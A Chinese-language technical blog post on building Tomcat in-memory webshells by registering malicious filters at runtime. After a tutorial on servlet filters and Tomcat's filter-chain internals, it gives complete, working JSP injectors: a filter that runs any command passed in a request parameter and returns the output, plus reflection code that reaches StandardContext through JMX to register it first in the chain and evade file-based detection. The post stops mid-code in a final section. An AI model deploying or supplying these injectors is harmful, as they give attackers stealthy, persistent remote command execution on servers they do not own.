Tomcat内存马实现原理解析

​ 目前webshell的免杀开始向内存中迁移,这样实现的好处显而易见,将webshell注入到内存中,一方面增加了查杀的难度,另一方面即使我们传入的文件被查杀,只要服务器不重启,我们仍然可以利用注入到内存中的shell控制主机,所以了解内存shell的实现是比较重要的。

动态注册Filter实现内存马

​ 要了解如何动态实现filter过滤器加载内存马,首先得了解几个问题

  • 什么是过滤器?
  • 为什么要使用过滤器?
  • 如何手动创建过滤器?
  • 如何动态注册过滤器?

什么是过滤器及为什么要使用过滤器?

​ Filter也叫做过滤器,通过过滤器,可以根据访问URL的不同,对访问进行拦截处理,也可以在服务端响应给客户端之前对处理响应消息。

​ 在servlet中提供了Filter接口,如果我们实现这个接口并实现其中的方法,可以将自己的类注册成过滤器。Filter接口定义了如下三个方法:

1
2
3
4
public void init(FilterConfig filterConfig) throws ServletException;
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException;
public void destroy();

​ 一般我们需要关注和实现的是doFilter方法,当我们去访问某个servlet程序,如果发现注册了filter对该servlet进行拦截,则会首先去执行filter中的doFilter方法,根据doFilter中的结果决定是否去执行servlet中的service方法。同样我们也可以通过doFilter方法,在执行service方法之前和之后执行自定义操作。

​ 我们仔细观察doFilter方法的定义,可以看到FilterChain参数,这就是过滤器链。如果我们想要实现通过多个Filter对同一个servlet请求进行拦截,就需要用到过滤器链。过滤器链的拦截顺序和web.xml中配置的顺序有关,当执行上一个Filter的doFilter方法是,通过FilterChain.doFilter执行下一个过滤器的doFilter方法。

如何手动创建一个过滤器?

​ Filter过滤器的实现有两种,第一种是在web.xml种进行配置,另一种是使用@WebFilter注解。我们首先看第一种方式。

web.xml配置过滤器

​ 首先我们要创建一个web项目,并创建一个servlet,可以参考https://blog.csdn.net/yhao2014/article/details/45740111搭建,注册一个HelloWorld servlet:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;

public class HelloWorld extends HttpServlet {
private String message;

@Override
public void init() throws ServletException {
message = "Hello world, this message is from servlet!";
}

@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
//设置响应内容类型
resp.setContentType("text/html");

//设置逻辑实现
PrintWriter out = resp.getWriter();
out.println("<h1>" + message + "</h1>");
}

@Override
public void destroy() {
super.destroy();
}
}

image-20201225112417193

image-20201225112241202

​ 下面我们实现一个Filter在输出hello world之前和之后执行自定义操作,首先在web.xml中配置Filter

1
2
3
4
5
6
7
8
9
10
11
12
<filter>
<filter-name>FirstFilter</filter-name> //注册过滤器,过滤器名为FirstFilter
<filter-class>FirstFilter</filter-class> //过滤器类为FirstFilter
<init-param>
<param-name>encoding</param-name>
<param-value>GB2312</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>FirstFilter</filter-name>
<url-pattern>/*</url-pattern> //经过FirstFilter处理的URL,这里是所有的URL都会经过这个过滤器处理。
</filter-mapping>

​ 创建过滤器类,在执行servlet之前执行对应的操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import javax.servlet.*;
import java.io.IOException;
import java.io.PrintWriter;

public class FirstFilter implements Filter {
public void destroy() {
}

public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws ServletException, IOException {
chain.doFilter(req, resp);
PrintWriter out = resp.getWriter();
out.println("<h1>执行后</h1>");
}

public void init(FilterConfig config) throws ServletException {

}

}

​ 打断点调试,可以看到执行HelloWorld之前,首先经过了FirstFilter拦截器的处理,并在执行完HelloWorld的doGet方法后执行后,回到了FirstFilter中的doFilter方法对response追加testing666。

image-20201225114624897

image-20201225114725785

​ 执行结果如下:

image-20201225114506040

​ 我们再尝试创建一个过滤器链,再添加一个过滤器,再web.xml中进行配置,配置如下:

1
2
3
4
5
6
7
8
9
10
11
12
<filter>
<filter-name>secondFilter</filter-name>
<filter-class>secondFilter</filter-class>
<init-param>
<param-name>encoding</param-name>
<param-value>GB2312</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>secondFilter</filter-name>
<url-pattern>/HelloWorld</url-pattern>
</filter-mapping>

​ secondFilter内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import javax.servlet.*;
import java.io.IOException;
import java.io.PrintWriter;

public class secondFilter implements Filter {
public void destroy() {
}

public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws ServletException, IOException {
chain.doFilter(req, resp);
PrintWriter out = resp.getWriter();
out.println("<h1>secondFilter Test</h1>");
}

public void init(FilterConfig config) throws ServletException {

}
}

​ debug调试,可以看到进入Helloworld的doGet方法之前先经过了FirstFilter.doFilter再经过了secondFilter.doFilter。

image-20201225121140703

​ 由于先经过了FirstFilter再经过了secondFilter,因此再返回的时候,先会经过secondFilter的处理,再经过FirstFilter处理,最终执行结果如下:

image-20201225121243273

注解实现过滤器

​ 在web.xml中对servlet和过滤器的配置同样可以使用注解实现,对servlet的配置如下:

image-20201225134433759

​ 使用@WebFilter注解对两个过滤器进行配置。

image-20201225134519636

image-20201225134526683

​ 修改后运行tomcat,发现还是先执行了firstFilter再执行了secondFilter,我们知道在上一个例子中执行过滤器链是因为我们在web.xml中进行配置,这个执行顺序是和<filter-mapping> 的声明顺序有关的,但是在这个例子中并没有在web.xml中进行配置。经过查阅资料,在注解中进行配置和filterName首字母有关,A-Z代表着不同的执行顺序。

如何动态注册Filter?

Tomcat中Filter注册流程

​ 在了解如何动态注册Filter之前,我们先看下tomcat是如何注册Filter的,在org.apache.catalina.core.StandardWrapperValve#invoke方法中,会调用createFilterChain方法。

image-20201225144929433

​ 在org.apache.catalina.core.ApplicationFilterChain#createFilterChain中,会获取当前request对象中是否设置了filterChain,没有设置会创建一个ApplicationFilterChain对象并设置到request对象中。

image-20201225145256764

​ 继续向下执行,调用org.apache.catalina.core.StandardContext#findFilterMaps,会返回过滤器数组,这个数组中包含两个我们实现的过滤器和一个tomcat自带的过滤器。

image-20201225145324041

image-20201225145355643

​ 判断获取的filterMaps中的过滤器是否满足dispatcher和requestpath的条件,均满足后会添加到filterChain中。

image-20201225145548170

​ 获取到满足条件的filter后,会将满足条件的filterChain返回。继续看org.apache.catalina.core.StandardWrapperValve#invoke方法,会执行filterChains的doFilter方法。

image-20201225145909761

​ 在org.apache.catalina.core.ApplicationFilterChain#doFilter中会调用internalDoFilter,跟进这个方法,首先获取第一个filter,并执行对应的doFilter方法。

image-20201225150035887

​ 跟进FirstFilter#doFilter,首先调用ApplicationFilterChain.doFilter(req, resp)

image-20201225150119180

​ ApplicationFilterChain.doFilter中同样会调用internalDoFilter

image-20201225150321470

​ 继续调用其他过滤器,这个过滤器是tomcat自带的过滤器。

image-20201225150403698

image-20201225150516874

​ 继续执行org.apache.catalina.core.ApplicationFilterChain#internalDoFilter,此时if条件已经不能满足,代表过滤器链已经执行结束了。跳过了if步骤后最终会执行servlet.service方法。

image-20201225150630961

image-20201225150731473

​ 分析完这个调用,我们可以分析出这个调用的关键点在于org.apache.catalina.core.StandardContext#findFilterMaps中的filterMaps

image-20201225151110960

image-20201225151057672

​ 我们看一下这个filterMaps[]是在何时被赋值的。在org.apache.catalina.core.StandardContext#addFilterMap中打断点,发现当我们启动项目的时候会被加载。

image-20201225151431915

​ 查看上层调用,FilterMap来自于webxml.getFilterMappings()

image-20201228142018334

​ getFilterMappings在webxml.java中,返回filterMaps对象,所以我们得知道filterMaps是在哪里被赋值的。

image-20201228142105141

​ 经过分析存在addFilterMapping方法,该方法中会为FilterMaps添加内容

image-20201228142153204

​ 在addFilterMapping方法打断点,重新启动项目,发现在processAnnotationWebFilter中调用了addFilterMapping添加filterMap,但是在调用addFilterMapping添加filterMap前也会调用addFilter添加filterDef对象。

image-20201228143903686

​ 查看filterDef和filterMap的内容,filterDef中包含了filterClass内容,而filterMap中包含了urlPatterns等内容,也就是说filterMap是负责url匹配的,其作用是解析web.xml中的标签。而FilterDef中包含Filter的定义和处理这个Filter的类。

image-20201228144126525

​ 查看webxml.java中的代码,可以看到filterDef的值会被保存到filters中。filterMap的内容会被保存到filterMaps中。

image-20201228150628029

image-20201228150721604

​ 从这里可以看出,如果想要动态创建filter过滤器,只要在filterMaps和filters中添加值就可以了,但是我们在跟踪tomcat filter过滤链加载的过程中,并没有注意到filters是在哪里起作用的,重新查看filter调用过程,发现filter的类是通过filterConfig.getFilter()获取的。

image-20201228151816221

​ 在filterConfig接口实现类ApplicationFilterConfig中的getFilter方法中,可以看到能否获取到Filter是和filterDef有关系的。

image-20201228152128438

​ 也就是说理论上来讲我们可以通过获取webxml对象,并修改其中的filters和filterMaps的内容来动态添加filter过滤器的,但是这个webxml对象我们在运行中无法获取到。但是在通过webxml.getFilters()或者webxml.getFilterMappings()方法获取到FilterDef和filterMap后,会调用StandardContext中的addFilterDef和addFilterMap方法将filter和filterMap赋值给standardContext对象的变量中。

image-20201228153406512

​ 并且在最终创建过滤链的时候会调用standardContext的findFilterMaps方法来获取filterMaps。所以我们可以通过获取StandardContext对象,并调用其中的addFilterMap和addFilterDef来动态添加filter。

image-20201228153855563

image-20201228153949211

StandardContext注册Filter

​ JMX(Java Management Extensions)是一套标准,这种机制可以方便的管理、监控正在运行中的Java程序。常用于管理线程,内存,日志Level,服务重启,系统环境等。

  • MBean:是Managed Bean的简称,可以翻译为“管理构件”。在JMX中MBean代表一个被管理的资源实例,通过MBean中暴露的方法和属性,外界可以获取被管理的资源的状态和操纵MBean的行为。
  • MBeanServer:MBean生存在一个MBeanServer中。MBeanServer管理这些MBean,并且代理外界对它们的访问。并且MBeanServer提供了一种注册机制,是的外界可以通过名字来得到相应的MBean实例。

配置Jconsole监控MBean

​ 在启动项目时,添加如下参数

1
-Djava.rmi.server.hostname=127.0.0.1 -Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.port=11911 -Dcom.sun.management.jmxremote.ssl=false -Dcom.sun.management.jmxremote.authenticate=false

image-20201228113628383

​ 启动Jconsole,连接-》新建连接-》Bootstrap进程

image-20201228113730266

​ 查看MBean中的内容,在BasicAuthenticator中可以看到其中存在context对象,因此我们可以通过type=Valve,host=localhost,context=/manager,name=BasicAuthenticator来获取Context对象

image-20201228113838455

​ 首先获取MBeanServer,代码如下:

1
MBeanServer mBeanServer = Registry.getRegistry(null, null).getMBeanServer();

​ 获取mBeanServer后可以通过mBeanServer-》mbsInterceptor属性-》repository属性-》domainTb属性获取所有的MBean对象。

image-20201228114652723

​ 通过反射调用获取到domainTb。

1
2
3
4
5
6
7
8
9
10
11
            Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
field.setAccessible(true);
Object mbsInterceptor = field.get(mBeanServer);
// 获取repository
field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
field.setAccessible(true);
Object repository = field.get(mbsInterceptor);
// 获取domainTb
field = Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb");
field.setAccessible(true);
HashMap<String, Map<String, NamedObject>> domainTb = (HashMap<String,Map<String,NamedObject>>)field.get(repository);

image-20201228115336921

​ 下一步我们找到Catalina->context=/manager,host=localhost,name=BasicAuthenticator,type=Valve

1
2
3
4
NamedObject nonLoginAuthenticator = domainTb.get("Catalina").get("context=/manager,host=localhost,name=BasicAuthenticator,type=Valve");
field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object");
field.setAccessible(true);
Object object = field.get(nonLoginAuthenticator);

image-20201228115634740

​ 从resource中获取Context对象。

image-20201228120511795

1
2
3
4
5
6
7
8
// 获取resource
field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
field.setAccessible(true);
Object resource = field.get(object);
// 获取context
field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context");
field.setAccessible(true);
StandardContext standardContext = (StandardContext) field.get(resource);

​ 当然不止context=/manager,host=localhost,name=BasicAuthenticator,type=Valve可以获得context对象。

image-20201228120830868

     得到StandardContext对象后,调用addFilterDef和addFilterMap添加filterDef和FilterMap。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
FilterMap filterMap = new FilterMap();
FilterDef filterDef = context.findFilterDef(filterName); //查看当前的filter中是否包含我们自定义的filter。
Filter filter = new TomcatShellFilter(); //创建我们要注入的filter对象
// filterDef
if (filterDef == null) {
// Gen filterDef
filterDef = new FilterDef(); //新建FilterDef对象
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
// Add filterDef
context.addFilterDef(filterDef); //将filterDef添加到context中。
// Refresh filterConfigs
context.filterStart();
// filterMap
filterMap.setFilterName(filterName);
filterMap.setDispatcher(String.valueOf(DispatcherType.REQUEST));
filterMap.addURLPattern(filterUrlPattern);
context.addFilterMap(filterMap); //添加filterMap
// Order
Object[] filterMaps = context.findFilterMaps();
Object[] tmpFilterMaps = new Object[filterMaps.length]; //对filterMaps中的内容重新排序,让目标首先经过我们自定义的过滤器。
int index = 1;
for (int i = 0; i < filterMaps.length; i++)
{
FilterMap f = (FilterMap) filterMaps[i];
if (f.getFilterName().equalsIgnoreCase(filterName)) {
tmpFilterMaps[0] = f;
} else {
tmpFilterMaps[index++] = f;
}
}
for (int i = 0; i < filterMaps.length; i++) {
filterMaps[i] = tmpFilterMaps[i];
}
System.out.println("Test Add Filter................");
}else {
System.out.println("add success");
}

​ TomcatShellFilter的内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
class TomcatShellFilter implements Filter {
/**
* webshell命令参数名
*/
private final String cmdParamName = "cmd";

@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
FilterChain filterChain) throws IOException, ServletException {
System.out.println(
"TomcatShellFilter doFilter.....................................................................");
String cmd;
if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}

@Override
public void destroy() {

}
}

​ 测试结果如下:

image-20201228170513038

image-20201228170253396

​ 最后给出完整的jsp源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.management.MBeanServer" %>
<%@ page import="org.apache.tomcat.util.modeler.Registry" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="com.sun.jmx.mbeanserver.NamedObject" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<html>
<head>
<title>AddFilter</title>
</head>
<body>
<%!
/**
* @author REInject
*/
public class TomcatShellFilter implements Filter {
/**
* webshell命令参数名
*/
private final String cmdParamName = "sectest666";

@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
FilterChain filterChain) throws IOException, ServletException {
String cmd;
if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}

@Override
public void destroy() {

}
}
%>
<%
final String filterName = "TomcatFilterShell";
final String filterUrlPattern = "/xxxxxxx/*";
try {
MBeanServer mBeanServer = Registry.getRegistry(null, null).getMBeanServer();
// 获取mbsInterceptor
Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
field.setAccessible(true);
Object mbsInterceptor = field.get(mBeanServer);
// 获取repository
field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
field.setAccessible(true);
Object repository = field.get(mbsInterceptor);
// 获取domainTb
field = Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb");
field.setAccessible(true);
HashMap<String, Map<String, NamedObject>> domainTb = (HashMap<String,Map<String,NamedObject>>)field.get(repository);
// 获取domain
NamedObject nonLoginAuthenticator = domainTb.get("Catalina").get("context=/,host=localhost,name=NonLoginAuthenticator,type=Valve");
out.println("Inject /,please visit /xxxxxxx/aaaa?sectest666=whoami");
if(nonLoginAuthenticator==null){
nonLoginAuthenticator = domainTb.get("Catalina").get("context=/manager,host=localhost,name=BasicAuthenticator,type=Valve");
out.println("Inject /manager,please visit /manager/xxxxxxx/aaaa?sectest666=whoam");
}
field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object");
field.setAccessible(true);
Object object = field.get(nonLoginAuthenticator);
// 获取resource
field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
field.setAccessible(true);
Object resource = field.get(object);
// 获取context
field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context");
field.setAccessible(true);
StandardContext context = (StandardContext) field.get(resource);
FilterMap filterMap = new FilterMap();
FilterDef filterDef = context.findFilterDef(filterName);
Filter filter = new TomcatShellFilter();
// filterDef
if (filterDef == null) {
// Gen filterDef
filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
// Add filterDef
context.addFilterDef(filterDef);
// Refresh filterConfigs
context.filterStart();
// filterMap
filterMap.setFilterName(filterName);
filterMap.setDispatcher(String.valueOf(DispatcherType.REQUEST));
filterMap.addURLPattern(filterUrlPattern);
context.addFilterMap(filterMap);
// Order
Object[] filterMaps = context.findFilterMaps();
Object[] tmpFilterMaps = new Object[filterMaps.length];
int index = 1;
for (int i = 0; i < filterMaps.length; i++)
{
FilterMap f = (FilterMap) filterMaps[i];
if (f.getFilterName().equalsIgnoreCase(filterName)) {
tmpFilterMaps[0] = f;
} else {
tmpFilterMaps[index++] = f;
}
}
for (int i = 0; i < filterMaps.length; i++) {
filterMaps[i] = tmpFilterMaps[i];
}
out.println("添加Filter成功");
}else{
out.println("已成功添加");
}
} catch (Exception e) {
out.println("添加Filter失败");
e.printStackTrace();
}
%>
</body>
</html>

servletContext注册Filter

​ Servlet,Listener,Filter由ServletContext去加载,无论是使用xml配置还是使用Annotation注解配置,均由Web容器进行初始化,读取其中的配置属性,然后向Web容器中进行注册。Servlet 3.0 可以由ServletContext动态进行注册,因此需在Web容器初始化的时候(即建立ServletContext对象的时候)进行动态注册。 –动态注册之Servlet+Filter+Listener

​ 在使用servletContext动态注册Filter的过程中,主要使用了下面两个接口

1
2
servletContext.addFilter("Tomcat WebSocket (JSR356) Filter", new WsFilter())
FilterRegistration.Dynamic.addMappingForUrlPatterns(types, true, "/*");

​ 之前我们了解到注册Filter主要和FilterDef和FilterMap有关,这两个API为什么可以动态注册Filter,这种注册方式在tomcat中也有使用,代码如下:

image-20201229093140871

​ 跟入org.apache.catalina.core.ApplicationContextFacade#addFilter(java.lang.String, javax.servlet.Filter),调用org.apache.catalina.core.ApplicationContext#addFilter(java.lang.String, javax.servlet.Filter)。

image-20201229093340066

​ 创建filterDef并调用org.apache.catalina.core.StandardContext#addFilterDef将添加filterDef。

image-20201229093636388

​ 再看看FilterRegistration.Dynamic.addMappingForUrlPatterns(types, true, "/*");,同样调用addFilterMap添加FilterMap到StandardContext对象中。

image-20201229100908801

image-20201229100927048

MBeanServer获取servletContext

​ 通过之前的介绍,可以通过MBeanServer获取standardContext,再通过standardContext获取servletContext子类ApplicationContext,并调用addFilter和addMappingForUrlPatterns添加过滤器。

1
2
3
4
5
6
7
ApplicationContext appContext=new ApplicationContext(context);
Filter tomcatShellFilter = new TomcatShellFilter();
javax.servlet.FilterRegistration.Dynamic filterRegistration = appContext
.addFilter(filterName, tomcatShellFilter);
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
filterRegistration .addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{filterUrlPattern});

​ 但在添加过程中发现会报 无法将筛选器添加到上下文[/manager],因为该上下文已初始化异常,经过调试在addFilter中会判断context对象中state的内容是否为STARTING_PREP,由于我们这里已经初始化完成,因此state状态为started,因此会抛异常。

image-20201229102204521

image-20201229102331539

​ 经过上面的分析,再调用addFilter添加Filter之前需要修改context中state的状态

1
2
3
4
java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class
.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);

​ 修改状态后虽然可以正常添加Filter过滤器,但是访问Filter会出错。

image-20201229103618089

​ 因此添加结束后需要将state的内容改回来。

1
stateField.set(context, org.apache.catalina.LifecycleState.STARTED);

​ 更改state状态后再去访问Filter,会返回404

image-20201229104504167

​ 调试代码,在FilterMap中确实已经添加了我们的Filter。

image-20201229104534258

​ 但在FilterConfig中找不到我们的Filter,因此无法调用成功。

image-20201229104718640

​ 但我们已经将Filter的内容添加到FilterDefs中,经过查看org.apache.catalina.core.StandardContext#filterStart会将filterDefs的内容同步到filterConfigs中,因此需要反射调用filterStart。

image-20201229104856204

1
2
3
4
Method filterStartMethod = org.apache.catalina.core.StandardContext.class
.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(context, null);

image-20201229105256054

​ 最终JSP实现代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.management.MBeanServer" %>
<%@ page import="org.apache.tomcat.util.modeler.Registry" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="com.sun.jmx.mbeanserver.NamedObject" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.InvocationTargetException" %>

<html>
<head>
<title>servletContext</title>
</head>
<body>
<%!
/**
* @author REInject
*/
public class TomcatShellFilter implements Filter {
/**
* webshell命令参数名
*/
private final String cmdParamName = "sectest666";

@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
FilterChain filterChain) throws IOException, ServletException {
String cmd;
if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}

@Override
public void destroy() {

}
}
%>
<%
final String filterName = "TomcatFilterShell";
final String filterUrlPattern = "/xxxxxxx/*";
try {
MBeanServer mBeanServer = Registry.getRegistry(null, null).getMBeanServer();
// 获取mbsInterceptor
Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
field.setAccessible(true);
Object mbsInterceptor = field.get(mBeanServer);
// 获取repository
field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
field.setAccessible(true);
Object repository = field.get(mbsInterceptor);
// 获取domainTb
field = Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb");
field.setAccessible(true);
HashMap<String, Map<String, NamedObject>> domainTb = (HashMap<String,Map<String,NamedObject>>)field.get(repository);
// 获取domain
NamedObject nonLoginAuthenticator = domainTb.get("Catalina").get("context=/,host=localhost,name=NonLoginAuthenticator,type=Valve");
out.println("Inject /,please visit /xxxxxxx/aaaa?sectest666=whoami");
if(nonLoginAuthenticator==null){
nonLoginAuthenticator = domainTb.get("Catalina").get("context=/manager,host=localhost,name=BasicAuthenticator,type=Valve");
out.println("Inject /,please visit /manager/xxxxxxx/aaaa?sectest666=whoami");
}
field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object");
field.setAccessible(true);
Object object = field.get(nonLoginAuthenticator);
// 获取resource
field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
field.setAccessible(true);
Object resource = field.get(object);
// 获取context
field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context");
field.setAccessible(true);
StandardContext context = (StandardContext) field.get(resource);
java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class
.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(context, org.apache.catalina.LifecycleState.STARTING_PREP);
ApplicationContext appContext=new ApplicationContext(context);
if (appContext.getFilterRegistration(filterName) == null && context != null) {
Filter tomcatShellFilter = new TomcatShellFilter();
javax.servlet.FilterRegistration.Dynamic filterRegistration = appContext
.addFilter(filterName, tomcatShellFilter);
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
filterRegistration
.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
new String[]{filterUrlPattern});
Method filterStartMethod = org.apache.catalina.core.StandardContext.class
.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(context, null);
Class ccc = null;
try {
ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
} catch (Throwable t){}
if (ccc == null) {
try {
ccc = Class.forName("org.apache.catalina.deploy.FilterMap");
} catch (Throwable t){}
}
//把filter插到第一位
Class c = Class.forName("org.apache.catalina.core.StandardContext");
Method m = c.getMethod("findFilterMaps");
Object[] filterMaps = (Object[]) m.invoke(context);
Object[] tmpFilterMaps = new Object[filterMaps.length];
int index = 1;
for (int i = 0; i < filterMaps.length; i++) {
Object o = filterMaps[i];
m = ccc.getMethod("getFilterName");
String name = (String) m.invoke(o);
if (name.equalsIgnoreCase(filterName)) {
tmpFilterMaps[0] = o;
} else {
tmpFilterMaps[index++] = filterMaps[i];
}
}
for (int i = 0; i < filterMaps.length; i++) {
filterMaps[i] = tmpFilterMaps[i];
}
}
stateField.set(context, org.apache.catalina.LifecycleState.STARTED);

} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (ClassNotFoundException | InvocationTargetException e) {
e.printStackTrace();
} catch (IllegalAccessException | NoSuchMethodException e) {
e.printStackTrace();
}

%>
</body>
</html>
修改WRAP_SAME_OBJECT从request对象中获取

​ 之前在介绍tomcat回显方案时介绍过可以通过修改WRAP_SAME_OBJECT的内容为true获取到request和response对象。获取到request对象后可通过request.getServletContext()获取到servletContext。获取servletContext的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
try{
//获取各字段
java.lang.reflect.Field WRAP_SAME_OBJECT=Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT");
Class applicationFilterChain = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
java.lang.reflect.Field lastServicedRequest = applicationFilterChain.getDeclaredField("lastServicedRequest");
java.lang.reflect.Field lastServicedResponse = applicationFilterChain.getDeclaredField("lastServicedResponse");

//去掉final修饰符
java.lang.reflect.Field modifiers = java.lang.reflect.Field.class.getDeclaredField("modifiers");
modifiers.setAccessible(true);
